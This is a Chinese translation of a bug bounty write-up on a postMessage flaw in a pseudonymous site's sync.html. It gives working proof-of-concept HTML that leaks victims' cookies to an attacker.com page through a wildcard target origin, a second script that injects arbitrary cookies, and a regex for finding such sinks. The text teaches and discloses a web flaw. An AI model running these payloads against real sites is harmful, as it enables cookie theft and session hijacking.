利用postmessage偷取用户cookies

iso60001  2182天前

Hi

在我回顾某个目标网站已发出的HTTP请求时,我发现了一个接收器,它能帮助我利用postMessage窃取或替换其他用户的cookie。

不幸的是,我的大部分发现属于私人项目,所以我们不打算透露全部细节:(。

22.gif

#背景知识

你是否曾经需要当前窗口和内部if rame之间进行通信?跨域呢?我敢打赌你肯定有过,但现在我们有一个实现它的更好选择!

该解决方案称为postMessage,是HTML5 Web消息传递规范的一部分。

让我们举个例子,在这个示例中,我们有一个包含js代码的页面,用于侦听传入的消息并记录它们。

主页代码

<sc ript>
    function messages(event)
    {
        console.log(event); 
    }
    window.addEventListener(‘message’,messages,false);
    console.log(“listening”);</sc ript>
<if rame src="url/child.html"></if rame>

和子页中也有一行代码,用于向主页发送消息。

子页代码

window.parent.postMessage("Hello parent", "target");

发生了什么事?

  • 首先,访问主页,它将加载渲染子页。
  • 子页面发送消息给它的主页,主页接收它并通过控制台记录它。

你看到这里的安全隐患吗?

  • 如果用户能够target的值将会发生什么?

  • 如果子页面易被点击劫持将会发生什么

Tip

如果目标源是 * ,则消息可以发送到引用了子页面的任何域。

视情况而定。这有可能导致严重的安全问题。让我们用一个在实际公司中找到的实际例子来演示。

回到这个发现

我们称我们的目标为“onga.com”。

不管怎么说,我在这个域名里进行了各种尝试,寻找些有趣的东西。我的扫描器遍历爬行了所有页面,捕获了一个HTML文件,名为sync.html,其中包含少量html内容。

重要的是,貌似它有不安全的ja vasc ript语句。

33.png

该文件没有其他元素,除了sc ript,它貌似起到一个桥梁的作用。

在sync.html文件中,我注意到一个post消息被发送到一个名为wOrigin的变量。

window.parent.postMessage(JSON.stringify(msg), wOrigin);

我们现在有两个主要变量:msg和wOrigin

我上下滚动查看这些变量是在哪里初始化的,能被我控制么?

令人惊讶的是,msg变量是cookies,另一个是用户的输入。

关于寻找第二个变量,幸运的是,我发现了3个事件。

首先看看这个代码片段,观察下面几行:

var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1)));
var ns = fdata.ns;
var worigin = fdata.worigin;

代码非常简单,

  • 首先,访问当前窗口url的#后面的值

  • 解码它

  • 解析为JSON对象

  • 创建新的两个变量,ns代表命名空间,wOrigin代表窗口的origin

其中window.location.hash是众所周知的敏感点,当您看到它时,应该尝试将其用作基于dom的xss的攻击。但这不是我们关心的问题。

很快地,我继续查找其他代码行,看看变量ns和worigin在传递到postmessage之前是否经过了过滤,幸运的是它们没有。

开发exploit

我们需要调整一下步骤。

当页面加载时,无论其来源如何,都将向其主页发送一条post消息,我们使用通配符 * 来配置origin。

现在我们需要在父页面中设置一个侦听器来接收消息。

<sc ript>
      function rcv(event)
       {   
           console.log(event);
       }
       window.addEventListener('message',rcv,false);
</sc ript>

创建一个if rame来加载有漏洞页面作为一个子内容。

整体exploit

<sc ript>
      function rcv(event)
       {
        console.log(event); 
       }
      window.addEventListener('message',rcv,false);
</sc ript>
<if rame src='http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}' />

当您打开http://attacker.com/poc.html时,监听器将运行并等待传入的消息,if rame将被加载,有漏洞的页面将加载在if rame中,并将保存cookie的消息发送到攻击者所在的父站点,最后将捕获并记录我们的案例中泄露给攻击者的用户cookies。

我们完成了吗????

当然不是,先别急着去庆祝,为了让我们玩得更开心,以及漏洞文件只有57行,所以我决定更加仔细阅读它。

我发现了另一条神奇的攻击路线。

window.addEventListener('message', h_message);

我开始查看h_message函数的内容:

function h_message(event) 
{
      var data = null;
      try { data = JSON.parse(event.data); } catch(e) { return;}
      if (data.msgType !== "write" && data.namespace !== ns) {
        return;
      }
      setCookie(data.cookieName, data.cookieVal,parseInt(data.expiresDays, 10), data.secureOnly);        
}

让我们理解下这个函数的目的是啥?

  • 传入参数应该是JSON对象。

  • JSON对象应该包含属性msgType,而且它必须等于write。

  • 另一个属性namespace,它应该与“ns”的值相同,两者都在用户的控制之下。

  • 其中所有条件不能同时满足,因为开发人员使用了负AND运算符,顺便说一下,这不是一个严重的问题。

  • 达成以上条件,返回将是false,则不会到达return语句,将执行对另一个函数,调用setCookie()函数,该函数利用其他json属性作为参数。

这段代码确实存在漏洞,没有验证messgae的来源,所以任何网站都可以发送消息并将恶意值传递给setCookie函数。

根据上面的代码,我构造了以下JSON:

{"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false}

目标url是 /sync.html#{"ns":"a","wOrigin":"*"}

完整的PoC如下:

<sc ript>
   var tar='http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}';
   var pay={"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false};   
   var c= window.open(tar,"child");
   c.postMessage(pay,"*");
</sc ript>

将以上代码保存为html并打开它,cookie就会被成功注入,并且我能够根据漏洞网站的行为注入任意cookie。

Tip2

  • 如果页面存在点劫持的防护,您可以使用window.open('url')

Video for poc1

44.png

关于制作工具,只需请求用url并搜索以下模式的代码:

(\.location\.hash)|(window\.addEventListener\('message')|(\.postMessage\()

欢迎大家订阅我的频道。

原文链接:https://medium.com/@yassergersy/exploiting-post-message-to-steal-users-cookies-7df43a00289a

最新评论

昵称
邮箱
提交评论